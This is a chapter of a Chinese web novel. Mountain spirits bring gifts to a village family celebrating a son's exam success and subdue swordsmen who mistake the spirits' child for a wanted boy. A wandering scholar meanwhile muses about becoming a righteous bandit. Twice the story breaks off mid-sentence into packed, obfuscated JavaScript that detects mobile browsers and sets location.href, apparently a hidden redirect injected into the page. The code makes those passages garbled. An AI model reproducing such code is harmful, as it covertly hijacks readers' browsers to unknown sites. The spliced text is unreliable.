“什么东西?”坨坨好奇地寻找声音来源。 看到一个透明的水晶球,坨坨把东西拿过来,转动底下的旋钮。八音盒响起音乐声,水晶球里的雪飘起来,纷纷扬扬地洒在球里的房子上。 云善听到动静,转过头来看,小妖怪们也都转过头看。 “坨坨大人,这是什么?”小鹿走过来问。 “水晶球八音盒。”坨坨说。 猴子说,“球里下雪了。” “这是什么石头,怎么里面装了房子?”小松鼠问。 “现在是夏天,球里怎么还下雪了。”小兔子说。 云善走过来,小手刚摸到水晶球上,音乐凑巧停了下来。 小松鼠说,“小掌门你别摸呀,让它唱。” 云善听话地松开手,水晶球没再自己唱起来。 坨坨把旋钮又转了好些圈,八音盒这才又唱起了歌。 “这可真神奇。”小兔子感叹。 猴子精建议道,“坨坨大人,就送这个吧。这个好看还会唱歌,人类一定会喜欢的。” 坨坨想了想,觉得猴子精说得有道理。古代人没见过八音盒。当初他第一次看见的时候也惊讶了好长时间。送这个摆在屋里也很好看。 坨坨刚把水晶球放在旁边,就被云善抱走了。 云善刚刚看到坨坨拧下面的旋钮,自己也试着拧了两下。听到水晶球唱歌,他低下头,把耳朵贴在水晶球上听。 在杂货铺淘来的小玩具很多,哄云善这种小孩子很简单。但是作为升学宴的礼物,好像有些单薄。坨坨之前看小飞哥送的是衣服、鞋子,马斌送的是电脑,都是很实用的东西。 坨坨又拿了些好看的本子,觉得还是多送点实用的好。人家考上举人,以后肯定能用到本子。 笔也有很多,黑笔、圆珠笔都有,造型也很好看。但是古代人都用毛笔,肯定用不惯现代的笔。就像他不怎么会用毛笔写字。 见云善喜欢玩水晶球,坨坨打算把那个水晶球留给云善玩。他又找了一个差不多的水晶球。只是水晶球里不是房子,是一棵树。 坨坨把挑出来的东西留下,其他东西都收回乾坤袋里。 在离云灵山五里地远的另一座山里,陆虞背着一袋米快速在林子里穿行。 到了一处山洞口,他喊一声,“我回来了。” 山洞里奔出来一个四岁小男孩,穿着一身蓝色短打,高兴地喊,“陆叔。” 接着走出来一个打着赤膊的劲瘦男人,“换到米了?” “换到了。”陆虞把肩上拿下来,男人接过,在山洞口点了柴火煮米粥。 陆虞坐在一块石头上歇息,“陈兄今日如何?” “好多了。”张槐简单淘了米,把米倒进锅里,“再等两天就能走了。” “我听说,山下有户梁家的小儿子中举了。他家有200多亩地,可是大户。” 陆虞说完,张槐就知道他想干什么。他一定是想去梁家讨钱。 果不其然,就听陆虞说,“明天梁家请吃流水席。” “我打算去梁家讨些银钱。” 张槐没应声。陆虞这一路都在讨钱。讨了八百里路了,一共就讨了七两银子。其中六两半银子还被他拿去给陈川看大夫抓药用了。 要说这陆虞也是个奇人。听他自己说,他是北上来拜师的。拜的是娇儿山上的秋水先生。 秋水先生以才名闻于天下,听说一直隐居娇儿山。当今圣上曾三次请他出山辅佐,都被秋水先生婉拒了。 陆虞是个读书人,看起来却没个读书人的样子。长得五大三粗,又黑又壮,看起来有把子力气。不像是读书的,倒像是干惯农活的庄稼人。 听说,陆虞原先家境不好,在家一直种地。前几年,家里营生好了些,有了些闲钱。陆虞自幼想读书,便拿了些钱,上了城里的私塾。开蒙的时候已经十四岁了。 陆虞如今年方十九,满打满算也才读书五年。张槐真不知道他哪来的勇气去找秋水先生拜师,意料之中被拒绝了。 陆虞奇归奇,人很好,不仅救了他们一次,还愿意掏钱给陈川看病。这两天他们躲在山里,都是陆虞下山拿猎物换了米面回来。 那些钱是陆虞讨来要带回家帮助家里人的。他是中州人。中州如今正遭旱灾,听说民不聊生。陆虞听到这个消息,就立马动身往中州回。 但他是个奇人,凡路过一城一镇都要打听城里谁家有钱,他要去讨一番钱。 据他所说,中州旱灾需要粮食,他无粮无钱,回去了也只能带着家人逃荒。若是能要些银钱,带些粮食回去,就能救了家人,救了乡亲父老。 张槐觉得他脑子有问题。他一个人空口白牙,谁认识他?果不其然,陆虞大多数时候都被当做骗子扔出来。运气不好,遇到脾气大的人还得跑,不然要挨打。 “明天,你们跟我一起下山吃席?”陆虞说,“流水席,不吃白不吃。” 张槐,“我不去。” “我带小善去。”陆虞说。 “他也不去。”张槐道。 乌日善问张槐,“槐叔,什么是流水席?” “到了就吃,吃完就走的席面。”陆虞说。 粥煮好了,张槐盛了一碗端进山洞里。陆虞给乌日善和自己各盛了一碗粥,捧着粥在外面吃。 隔天一早,坨坨跑去山里采了些花回来。云善打完拳,就见坨坨在走廊下往篮子的空隙里插花。 “干嘛呐?”云善蹲下问。 “插花篮嘛。”坨坨说,“一会儿我把礼物放在篮子里。带花的篮子好看。” 兜明赶着一头大野猪回来了。 “今天野猪怎么是活的?”坨坨奇怪地问。 平时西觉、兜明和钢蛋拖回里的猎物都是死的。 “带下山送礼。”兜明骄傲地说,“这多实惠。杀了就能吃。” 等云善学完功课,坨坨提着花篮、兜明赶着野猪,妖怪们一起下山去吃“升学宴”。 路过田边,妖怪们看到十几个人在田里割麦子。对比昨天,已经往前割了一大截。 梁家门口热闹得很,院子里进进出出了好些人,很多小孩子在门口跑来跑去。 云善也跑过去,看到小孩们在地里扒找鞭炮,他还不晓得捡鞭炮,跟着人家一起踢地上的红纸屑玩。 “云善。”花旗牵他走,“先去吃饭,吃完饭再玩。”因为要来吃流水席,妖怪们早上什么也没吃,空着肚子来的。 这一行人来的实在有些拉风。除了铁蛋、钢蛋,还有兜明赶着的一头带着獠牙的大野猪。 有人赶紧进屋喊了梁家人出来,说是昨天见过的“山里人”来了。 昨天许大头和梁文忠说话,都被一旁的厨子听见了。给别人家上坟烧纸是稀罕事,厨子在村子里一讲,很快整个村子都知道山里人来给梁家上坟的事。 梁文忠赶快迎了出来,“几位是?” “来送礼的。”坨坨问,“谁中举了?” 梁文忠唤来小儿子,“是我最小的儿子,梁俊泽。” 梁俊泽好奇地打量这几个人。三个小娃娃,两个大人,还有个少年人,带着两头野兽还有头野猪? 坨坨跑过来,把盖着蓝布的花篮交给梁俊泽,鼓励道,“好好学习,天天向上。” 梁俊泽:......“定当勉励。” 兜明说,“送你一头野猪。什么时候想吃了,什么时候宰。” 梁俊泽:......“多谢。”他长这么大还是头一回瞧见野猪,长那么大一对獠牙,真吓人。 在村子里,一头猪可是不小的礼。只是,这种时候谁会赶着一头猪来送礼? 村子里的人边吃席面,边好奇地打量花旗他们。 梁文忠赶紧邀请花旗他们去屋里吃席。 兜明他们往屋里走,大野猪就被留在院子里。梁文忠的大儿子梁俊永也是第一次看野猪。一瞧那大獠牙就知道不是好惹的,不敢上前。 “爹。”梁俊永喊,“这猪......要不让客人现在杀了吧?”能把野猪赶下山,肯定也敢杀猪。更何况,他们身边还跟着野兽。 梁文忠转头看向野猪,有点为难。客人送来了猪,又让客人杀猪,实在是没礼数。 梁俊永苦笑,“客人莫要笑话。这野猪瞧着实在骇人,我们不敢动。今天三弟中举,是喜事,不敢惹其他的事。” 兜明听明白了,这些人不敢杀猪。他道,“给我找把刀来。” 梁俊永赶紧去厨房拿了刀来,带着兜明去院子外。兜明手起刀落,把猪头一刀劈了下来。然后把刀还给梁俊永,进了院子。 梁俊永愣在原地。山里人,真是神奇!竟有这般功夫,难怪能在山里生存,还能把野兽当宠物养。 铁蛋和钢蛋趴在云善后面,梁文忠很怕,不敢靠近云善。他喊人上了菜,父子两个陪坐在桌边。 “昨日可是你们在梁家祖坟烧的纸钱?”梁文忠问。 花旗,“是。” “可是祖上与我祖上认得?”梁文忠又问。 “确实认得。”花旗回。 梁文忠问,“你们可姓梁?” “不姓。”花旗说。 桌上上了菜,花旗夹了些放在小碗里,让云善自己吃。 花旗的回答在梁文忠的意料之外,根据祖上传下来的信息来看,生活在山里的人应该是老祖宗的兄弟,也该姓梁才是。可这些人却又不姓梁。 “你们可知,我们祖上是如何认得的?”梁文忠问。 “原先是兄弟。”坨坨说。 “正是。”梁文忠道,“可你们却不姓梁。” “喝水。”云善对花旗说。 花旗给他倒了杯水,“云善,吃慢点。” 云善?梁文忠瞪大眼。云善这个名字他可不陌生,这是刻在老祖宗碑上的名字。那可是老祖宗的弟弟,也是他们梁家正儿八经的祖宗。 “这名......”梁俊泽惊讶地开口,“这不是祖宗的名字吗?” 妖怪们都看向梁俊泽。这确实是他们祖宗的名字,云善就是他们的祖宗啊。 外面突然传来一阵喊声,“有钱的老爷,祝您步步高升,飞黄腾达。” “中州大旱,民不聊生。老爷好心,捐些银钱。小人感激不尽。” “俊泽,你先陪客人吃饭。”梁文忠站起来,冲着妖怪们抱歉地笑笑,“客人先吃。我去去就来。” 外面,陆虞吃饱了饭,站在院子里大喊着要讨钱。 梁文忠走出门来,从怀里取了十个铜板给陆虞,打发道,“莫要喧闹,快些离开。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022484|148718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陆虞道,“老爷,可否再舍些。” “我多买些粮食回去,便多救活些人。” “走,走,走。”梁俊永把他往门外推,“没了,没了。” 到了院子门口,正撞上了一群提着刀的人。 梁俊永变了脸色,大声问,“什么人?” “闪开。”为首的人一脚踹开梁俊永,提着刀往院子里闯,吓坏了一众吃席的人。 梁俊泽观察着妖怪们的脸色,“这孩子怎么会和祖宗一个名?” 院子里传来大喝,“无关人等赶紧走。” “走晚了一步,小心人头落地!” 梁俊泽赶紧站起来,走到门口看。就见一群人提着刀站在自家院子里,吃饭的乡亲们都在往外跑。 “你们是什么人?”梁俊泽问。 “和你无关。”来人喝道,“识相的就赶紧滚。” “滚晚了就送你去见阎王。” 梁文忠赶紧拉了梁俊泽,小声道,“儿啊,你先走,不要争口舌。叫家里人都快跑。” 梁俊泽小声问,“爹,这些是什么?” “还能是什么人?”梁文忠用气音道,“是土匪!” 梁文忠劝走梁俊泽,赶紧跑回屋里,“客人,来土匪了,快跑!” “土匪?”坨坨从凳子上跳下来。 屋外的人闯了进来,为首的人喊道,“杀,都给我杀了。” 梁文忠喊,“大人且慢。”他道,“金钱都藏在屋里炕柜里。我带你们去拿。” “求大人放我们一命。” 云善边啃鸡腿边看着这些人。吃了两口咽下去,自己喝了口水。 为首的人笑道,“等小公子啃完鸡腿,就送他上路吧。” “上什么路?”花旗问。 为首的哈哈笑道,“还能是什么路?” “当然是黄泉路。” 话音刚落,人就被西觉一脚踢了出去,摔在后面人身上。 “抓土匪!”坨坨大喊。 云善不知道土匪是什么,歪着头看向坨坨。 兜明、西觉和花旗都冲了出去。 坨坨在旁边喊,“铁蛋、钢蛋,上。按住他们打。” 铁蛋、钢蛋从地上站起来,蹿了出去。钢蛋对着前面人的胸口邦邦打了几拳,打得人直往后退。铁蛋扑倒一人,却不咬,大爪子在人脸上扇了一下,扇出几道血痕,直接把人扇晕了。 梁文忠站在旁边目瞪口呆。就见一群土匪被花旗他们打得跑屋门。 坨坨问梁文忠,“哪里有绳子?” “我们绑了土匪去报官。” 云善拿着鸡腿跟在坨坨身边,和小丛一起跟着梁文忠找绳子。 院子里,提刀来的人倒了一片。钢蛋打完了人,站在桌子前,猛搂别人吃剩的席面。 坨坨抱着绳子跑过来。大家一起把土匪给捆了。 梁俊永、梁俊泽手里拿着农具,后面跟着一个胖乎乎的男人,一起跑了回来。 看到院子里的土匪都被打倒,大家都很意外。 “爹,你没事吧?”梁俊永兄弟三个跑过来问。 “没事。”梁文忠回,“这些土匪都叫客人打倒了。” 坨坨拽着一根绑了人的绳子说,“走,我们带土匪报官去。” “且慢。”梁家老二,梁俊彦,就是那个胖男人说,“我们县里没听说过有土匪。” “这些人是哪来的?” “许是外地来的土匪。”梁俊永说。 “土匪?我们不是土匪。”地上被绑着的人喊。 “不是土匪你们拿着刀来干什么?还要抢钱杀人?”坨坨踢了他一脚。 “我们不是来抢钱的。”那人叫苦道,“是你们自己说要给钱。” “我们又没说要拿钱。” 小丛问,“那你们是专门来杀人的?” 梁家人俱是一惊,杀人?最近梁家最大的事就是梁俊泽中举,难道是谁专门要来杀梁俊泽?可这些人不是放了梁俊泽了吗? 地上的人说,“江湖上有追杀令,杀了左右护法与小公。” “你们把云善认成小公子了?”花旗问。 听说这些人想杀云善,花旗表情阴狠地踹了那人腿一脚,地上的人哀嚎连连。 “你们找错人了。”坨坨说,“我们不是左右护法和小公子。” “怎么不是?”为首的人,“我等已是门内高手,在你们手上连一招都过不了。又带着小童,名字带一‘善’字。” “左护法人称黑面阎王,冷面无情,不爱言语,转眼之间可取人性命。” “右护法江湖绰号木鬼,为人刻薄。” “乌小公子今年四岁。” “哪一条对不上?” “事到如今,我们落在你们手里。要杀要剐,随意你们。只求给个痛快。”为首的人说。 “你们真的认错人了。”坨坨说,“他叫云善。” “为人刻薄,这个......”坨坨偷瞄一眼花旗,见花旗冷着脸,他赶紧改口,“我们这里谁刻薄了?” 云善啃完了鸡腿,把骨头丢在地上,张着油乎乎的小手看花旗,“洗手。” 花旗带他去旁边洗手,把他油乎乎的小嘴也洗了。云善啃了一个鸡腿,基本吃饱了。估计也不会再吃了。 梁家人也听明白,今天是无妄之灾。是这些人认错了人,弄出来的乌龙。 “不管怎么说。”坨坨说,“你们拿着刀要来杀人就不对。” “和土匪有什么不一样?” “走,去县里报官去。” “既然认错了,好汉不如放了我们。”躺在地上的领头说,“我们独峰派以后自有重谢。” 梁文忠也说,“这两年江湖里打打杀杀乱得很。我们若是得罪了人,怕是落不得好。” “听说还有灭门灭派的,一夜之间能死几百口。” “不如就将他们放了。我们小百姓可惹不起这些人。” “独峰派是吧?”花旗冷着脸说,“会报复是吧?” 之前被花旗踹过的人赶紧说,“绝不会报复。”他那条腿应该被踹断了,疼得很。这人下手实在重。 “要是敢报复。”坨坨阴恻恻地说,“就把你们带到山上喂野兽!” “铁蛋。” 正和钢蛋一起忙着搂席的铁蛋走过来。 坨坨指着铁蛋说,“这种野兽,我们山里可多得很。还有比它更大的。” “不想被野兽吃掉,以后就不许再来。” “绝对不来。” “绝地不来。” 躺在地上的人纷纷保证。 “那好。”坨坨说,“我们去县里报官。” 地上的人:......一般这种情况不是放人吗? 4. 吃烧鸡 梁家老二梁俊彦在城里给人当账房先生。他见妖怪们坚持要把闯入者送官,自告奋勇地跟着一起去了镇上。 剩下的梁家人把院子里的东西收拾好,又喊回了厨子继续做饭,找人去村里说,让大家继续来吃席。 梁文忠媳妇儿梁李氏问梁文忠,“他们可是山里的亲戚?” “说是,又不姓梁。”梁文忠道,“最小的那个娃娃名字叫云善,你说奇不奇怪。” “不姓梁倒也能说得通。”梁李氏说,“许是在山里做了倒插门女婿,后代改了姓氏。” “只是这云善这名字奇怪了些。怎么和祖宗的名字一样?” 梁文忠回屋找了自家族谱翻看。第一代便是老祖宗。除了提到云善这个名字,老祖宗其他兄弟名字都没提。 他听曾祖说过,老祖宗晚年越发怪异。不许人为他兄弟立碑烧纸,又一直念叨。碑上记的是兄友弟恭,又不是兄弟间结怨。这些着实奇怪。 梁文忠想不出这里面到底有什么事。为什么老祖宗要他们后代等人。这里面定然有什么秘密。 梁俊泽拎着插了花的篮子回到自己屋里。看到篮子上插的野花,觉得可爱又好笑。他还从未收过带着花的礼物。 他掀开蓝布,看到最上面放着了模样十分奇怪的东西。一个透明的圆球,里面长了棵树。 他曾听闻有一种石头莹如水,坚如玉,名为水玉。或许,这东西便是水玉吧。水玉里还长小树?什么树长得那般小?还能见到树上似有落雪。 这物件做得如此精美,定是十分贵重。 梁俊泽爱不释手,把水晶球摸了又摸,只道是好东西。 头一回见面就送如此贵重的东西,山里的客人着实大方。只是,山里真的有这样的东西吗? 看了好一会儿水晶球,梁俊泽才放下手,小心地把水晶球放到一旁,继续翻看篮子里的礼物。 篮子里剩下的像是书,封面上有画,看起来像是画本。 梁俊泽翻开本子看,没想到里面竟是白纸。他又翻了几页,除了本子右下角带着小画,其他地方都是白纸。 “竟然不是书。”梁俊泽又往下翻了几本,都是这样的。他心里便有数了,不是书那应该是可以写字的本子。 这些本子如此精美,他在县里都不曾见过。山里的客人是从何得来的? 本子最下面有个盒子。盒子表面画了房子。梁俊泽隔着塑料膜细看盒子,试着重量不是木盒,稍微晃晃,能听见里面东西的撞击之声。 他好好查看了一番,用小刀将盒子表面的塑料膜小心裁开。打开盒子,看到里面有些灰的、白的小东西,还有一张纸。 梁俊泽打开纸看,纸上大多是图,还有些小字。里面好些字他都认得,也有些字不认识,一句句读下来倒是能猜个大概。 “颗粒拼?” 梁俊泽按照说明书,找了对应的颜色,试了好些下,才将颗粒拼到一起。 “原来如此。居然是这样拼的。” “真是妙啊。” “三叔。”梁俊永家的小女儿扒着窗台喊人,“爷爷叫你吃饭去。” “就来。”梁俊泽抬起头,还将东西都放回篮子里。把篮子拎到柜子里,上了一把锁。 院子里又来了好些吃席的村里人,见到梁俊泽都要说两句恭喜的话。 早上花旗他们那桌席没吃完,还剩下一些。梁李氏带着两个儿媳妇儿又添了些菜,成了梁家的早午饭。 “三弟快来。”梁俊永大口吃着馒头,“赶紧吃,吃完了得招待村里人。” “一会儿地里干活的人就要回来了。” 梁俊泽坐下,对梁文忠说,“爹,山里的客人送了很重的礼。” “可不是。”二嫂子周勤俭说,“那头猪就是不小的礼。” “还有其他的。”梁俊泽说,“其他的礼也重。” “啥礼?”大嫂子王小花好奇地问。 “有个水玉球,里面长了棵树。”梁俊泽不确定地说,“我也不知道是不是水玉。看着约莫是。” “值钱不?”二嫂子周勤俭问。她更不懂什么水玉不水玉的。 “应当是值钱的。”梁俊泽道,“我在县里从未见过这种东西。” “呀。”大嫂子王小花高兴道,“三弟,一会儿拿给咱们看看。” “看什么看。”梁文忠放下碗,“白天里忙忙躁躁,人口又多。要看就晚上看。” “这话谁也不许出去说。” “也都看着点孩子,别叫小孩子出去瞎说。” 周勤俭和王小花都答应着。 陆虞快速往山里跑。跑到山上,见后面没人跟着,他才敢停下来喘口气。也是倒了霉了,谁能想到他今天竟然遇见土匪闯门。 陆虞坐在树下歇息,替梁家惋惜。梁家刚有人中了举,竟然就被土匪抢了。也不知道能活下来几个人,真是可惜了。 陆虞歇息好,一路走回山上。 乌日善正被张槐带着在树下练武。陈川倚着树坐着。 “能出来了?”陆虞关心地看向树下的陈川。陈川长得黑,就像抹了锅底灰似的。黑得都看不出脸色好不好。 “再过两天一定能活蹦乱跳。”陈川问他,“席面好吃吗?” “味道还成。”陆虞说,“可惜了,遇到土匪提着刀闯门,本来还想给你们带些菜。” “想想还是命重要,我便先跑回来了。” “土匪?”张槐惊讶地问,“这都能让你撞上?” “可不是。”陆虞一屁股坐在地上,“他家席面做得可不差,桌上好些肉。” “还有人赶着头大野猪去给他们送礼。” 陆虞比划着,“那猪的獠牙有那么长,看着可吓人。” “你讨到钱了?”张槐问。 陆虞从怀里摸出钱来,“给了十文钱。” “那不少了。”陈川说。能让陆虞白吃一顿,还给十文钱,看来梁家算是不错的人家。 “可惜了,可惜了。”陆虞叹着气,“钱粮都要落到土匪手里。” “要是给我,我带回中州,不知道能活多少人。” “让土匪抢去,养肥了人,又去抢别人,祸害啊。” 陆虞兀自叹息了会儿,突然抬起头,眼睛发亮道,“不如......” “我们也占山为王,落草为寇?” “你们二位正好有武功。我再回中州找些人。咱们不抢好人,专抢为富不仁的财主。” 张槐不可置信地看着陆虞,“你不是个读书人?”读书人竟然会这般想?想去做土匪? “你还要回中州找人做土匪?”陈川也是一脸震惊,“你不是要带粮食回中州救人?” “我是要回去救人。”陆虞说,“若是真的大旱,地里收不出粮食,我们中州百姓吃什么?” “到时候肯定要背井离乡,举家逃难。不如挑个山头,有地方安家。来多少中州乡亲,我们就收多少。” “大家聚在一块,也省得去了外地让人欺负。” 理说得倒是对。只是这话真不像是读书人能说出来的。 张槐打心里觉得陆虞没个读书人的样子,更像是混江湖的人。 可人家陆虞确实是个读书人,书箱子还在山洞里呢。即便在深山里躲藏,闲着了也经常捧着书读。 “我们不当土匪。”陈川说,“当土匪成什么了?不仁不义,非大丈夫所为。我们名门正派的人出来当土匪,传出去,叫江湖上的兄弟笑话。” “非也,非也。”陆虞说,“我们不是一般土匪。我们是为了活人。” “即便是落草为寇,我们也不做烧杀抢掠,没个人性的土匪。从此只管打劫那些黑心商人的钱财,救助贫苦百姓,不伤人性命。何来不仁不义?” 这听着确实不是土匪,倒是有几分豪气。 陈川道,“哪有这种的土匪?” “土匪都是烧杀抢掠。从古至今都遭人厌恶。你管得住自己,管得住别人?” 陆虞道,“有你兄弟二人震慑,我那些中州老乡不敢反抗。” 张槐笑着说,“陆兄见解向来不俗。”还单纯。 “只是做了土匪,实在有碍名声。我兄弟两个行走江湖,虽没有侠义的好名声,却也不做打抢普通百姓的事。” 陆虞叹口气,躺在草地上。“凑也凑不出来银钱,如何买粮回中州?” 另一边,妖怪们连拖带拽地把独峰派的人扯到了镇上。 镇子里热闹得很,城门口有小商贩吆喝着卖东西,临街两边都是店铺。 云善是逛过集市的人,自己跑在前面,踮着脚,挨个摊子看过去。他一跑,铁蛋和钢蛋跟着追,吓得路两边的人都往铺子里躲。 “什么呐?”云善在一个卖米糕的小摊前停下。 摊主看着云善后面跟着的铁蛋、钢蛋,颤颤巍巍地说,“是米糕。” 云善没吃过米糕,他在兜里掏了掏,没有卡,转头就问坨坨要钱,“买。” “咱们没有钱。”坨坨说。 梁俊彦听了,赶紧摸了钱出来,给了小贩。 坨坨从兜里摸出一个小金珠子给云善看“我们只有金珠子。” 梁俊彦:...... 他十分诧异地看向坨坨。什么叫没有钱,有金珠子?金珠子不是钱? “我有钱。”梁俊彦说,“金珠子收起来吧。想吃什么,和我说。” 小摊贩边做米糕边问,“这些是什么野兽?不咬人吧。” “不咬人。”坨坨说,“听话的。” 钢蛋和铁蛋都跟在云善身边,也不会乱晃,也不扒摊位。小摊贩放心很多。 云善得了两块梅花形状的米糕,其他人一人得了一块。 刚出炉的米糕十分软和,带着稻米的香味。只是吃了容易口渴,需得喝水。 云善咬着一块米糕,把另一块米糕掰成两半,一半给钢蛋,一半给铁蛋。他又从自己吃的米糕上拽下来一小块,放到肩膀上。 梁俊彦看见云善肩膀上一直安静不动的小蛇伸长头,咬走了米糕。蛇个头小,可瞧着就像是毒蛇。因此,梁俊彦一直不敢靠近云善走。 米糕这东西有些噎人,吃完嘴容易干。 云善吃完要水喝。 梁俊彦花了三个铜板,在街边买了六碗茶水。 小丛先喝的茶水,喝完后让小摊贩给他们倒一碗凉开水。 云善要喝茶水,花旗没让他喝。等小摊贩倒好了凉白开,这才喂他喝了水。 喝完水,云善高高兴兴地逛着街。看到有人进出铺子,他站在门口瞧了两眼,迈开步子跨过门槛走进屋内。 店里的伙计带着客人买完东西,一转头就见身后站了两个野兽,吓得魂都飞了,大叫一声窜进柜台里,把算账的掌柜吓了一大跳。 “干什么,干什么!”掌柜的拿了算盘打在伙计背上,“什么事大惊小怪。” 站在货架边瞧东西的云善也被吓了一大跳,睁着大眼睛看向柜台里。 “有野兽啊。”伙计喊。 掌柜的转头一瞧,魂也飞了一半。 云善拍拍身边的铁蛋,对柜台里躲着的两人说,“不咬人。” 掌柜的看到后面进来了几个大人,他强撑着笑脸问,“几位客人,想买点什么?” “随便看看。”坨坨在货架之间逛起来,快速把货架上的东西看了一遍。 看到了盐,坨坨回头看花旗,“买二斤盐?云灵观里要没盐了。” 店小二哆哆嗦嗦地走出来,称了二斤盐交给坨坨。 云善领着钢蛋和铁蛋在屋里跑了一圈,什么也没相中。他跑到柜台边等着坨坨结账。 “120文钱。”掌柜的说。 坨坨拎着盐,看向梁俊彦。 梁俊彦会意,赶紧掏了钱。心想着,山里的客人当真是不客气。 妖怪们出了杂货铺,就见一群挎着刀的官差站在店门口。 “官爷。”坨坨指着被捆在店门口的人喊,“这些是坏人,拿刀要杀我们。” 官差是听了人来报,说镇上来了野兽,便带了人来看。没想到还遇上另一桩事了。 “哪来的人要拿刀杀人?”官差问向被捆的人。 “独峰派的。”坨坨替他们回答。 “为何要杀人?”官差一听就知道是江湖恩怨。 近几年,江湖上门派之间不安宁,动不动就打打杀杀。常有人来报人命官司。 “认错人了。”独峰派领头的耷拉着脑袋说,“不是想杀他们。” “他们想杀别人。”坨坨接道,“把我们认成别人了。” “如此。”领头的官差说,“和我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022485|148718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回衙里。” 他又问坨坨,“你们带了野兽来?” 钢蛋和铁蛋跟在云善身后,官差看得清楚。 “这般凶猛的野兽怎么也带出来了?伤到人怎么办?”领头官差板着脸问。 云善说,“不咬人。” “不咬人就能带出来了?”领头的官差始终板着一张脸,对云善也没个好脸色。 云善有些被吓到了,抱着西觉的腿,躲在西觉身后看向官差。 花旗十分不满,“说话便说话,吓小孩干什么?” 铁蛋紧紧盯着领头官差,把官差们都看得发毛,有两人还拔了刀出来。 梁俊彦赶紧打圆场,“官爷是好心。大人嘛,常板脸。” “小孩不懂,才被吓到。” 西觉抱起云善说,“人交给你们了。”说完,抱着云善转身就走。 云善趴在西觉肩膀上,看着官差在后面把独峰派的人全都拉走了。那个断腿的是被人扶着走的。 坨坨走在后面说,“云善你别怕。” “有的人就不爱笑。” 云善嗯了一声。 前面有个卖拨浪鼓的摊子,摊贩晃着拨浪鼓“咚咚咚”地响。 云善盯上了拨浪鼓。等西觉抱着他经过摊子时,他伸着小手指着摊子说,“买。” 西觉把云善放下来,云善和坨坨一起跑到拨浪鼓摊位上。摊子上卖的拨浪鼓鼓面都没画,长得都一样。 坨坨随手拿了一个拨浪鼓给云善,然后看向梁俊彦。 梁俊彦赶紧付了钱。 云善拿着小鼓晃来晃去,“咚咚咚”地直响。他高兴地把小鼓举起坨坨看,学着小鼓的声音说,“咚咚,咚咚。” 正事已经干完了,妖怪们带着云善在镇子上闲逛。 路边的每一个铺子,他们都进去逛了一遍。 路过卖烧鸡的铺子,兜明闻着味,先一步走进去,说,“要十个。” 梁俊彦赶紧拉住兜明,小声道,“我没带那么多钱。” 兜明立马看向坨坨,“你把金珠子拿出来。” “干嘛?”坨坨说,“梁俊彦有钱。” “他说没钱。”兜明说。 梁俊彦面皮一下子红了起来,“不是没钱。是带的钱少,不够买十只烧鸡。” “你们要是想吃,我现在回去拿钱。” 梁俊彦平时带着老婆孩子在镇里赁了房子住。这边离他赁的房子不远。 “不用。”坨坨从兜里掏出几个金珠子,展开手给梁俊彦看,“我们拿这个买。” 梁俊彦没想到他们有这么多金珠子,瞪大了眼。山里的客人这么有钱?大家不是一个祖宗吗?是他们家败落了吗? “给你一个。”坨坨把一个小金珠子塞给梁俊彦,拿着剩下的金珠子去找老板。 兜明跟着一起过去。梁俊彦看着老板给金子称了重,要还两个珠子给坨坨。兜明伸手挡住,“能买多少烧鸡,就买多少烧鸡。” 梁俊彦:......这得买多少? 妖怪们在店里坐下。梁俊彦把金珠子放在桌上,推到花旗面前,“这个我不能要。” “咱们原先是本家。该是请你们吃些东西,哪有还拿钱的。” 花旗没说话,云善跪在凳子上,趴到桌上,把小金珠抓走,放在桌子面前摆弄。 花旗看了,便也没说什么。 老板让伙计挂了暂时歇业的牌子。花旗他们今天买的烧鸡数量足够店里忙上好一会儿。 烧鸡一只只地端上桌,兜明、西觉和花旗一人抱着一只烧鸡啃。就连云善那么点小人,也自己啃了一只烧鸡,很是欢实。 坨坨把两只鸡腿撕下来放在碟子里,从鸡身上撕了一块肉给铁蛋。钢蛋跳过来,站在坨坨身边等着。 “你还吃?”兜明说,“早上就数你吃得最多。” 他可看到了,早上钢蛋趁机吃了人家桌上很多东西。 钢蛋不会叫,前爪搭在坨坨身上,一双黑眼睛期待地看着坨坨。那意思就是它想吃。 坨坨把鸡身子撕成两半,一半大的,一半小的。大的那块给了铁蛋,小的那块给钢蛋。 钢蛋抱着烧鸡站在一旁猛吃。 梁俊彦看着自己面前的烧鸡,心里思量着,山里人过得是什么日子?一人吃一只烧鸡?谁家这么吃烧鸡?就连牲口都能吃得上烧鸡! 他家平时买只鸡都是一家人一起吃。就是买也是偶尔买,不是天天买。 没想到山里人的日子过得这么奢侈。 云善的鸡啃得乱七八糟,这儿咬一口,那儿撕一下。他啃了一些就不吃了,把盘子推到西觉面前。自己慢慢从凳子上滑下去,蹲在地上和铁蛋一起玩。 小丛一直撕着肉吃。吃饱后,把鸡推给兜明。 只有坨坨一开始喂了些肉给铁蛋、钢蛋。接下来,妖怪们都只是喂了吃剩下的鸡骨头给铁蛋和钢蛋吃。 云善在钢蛋身上抹干净手,又把脸贴在钢蛋身上蹭了蹭,把嘴上的油也蹭在钢蛋身上。 蹭完以后,他跑去伸手给花旗看,“干净。” “钢蛋身上不是脏了?”花旗好笑地看着他。他瞧见云善的动作了。 云善嘿嘿笑,两只小手扒在桌边往上一蹦一蹦地跳着玩。 梁俊彦只撕了一小半烧鸡吃,吃饱了后便没再动烧鸡。 他把烧鸡往桌子中间推,“我吃不完。你们吃。” 兜明吃的差不多了,说,“我吃饱了。” 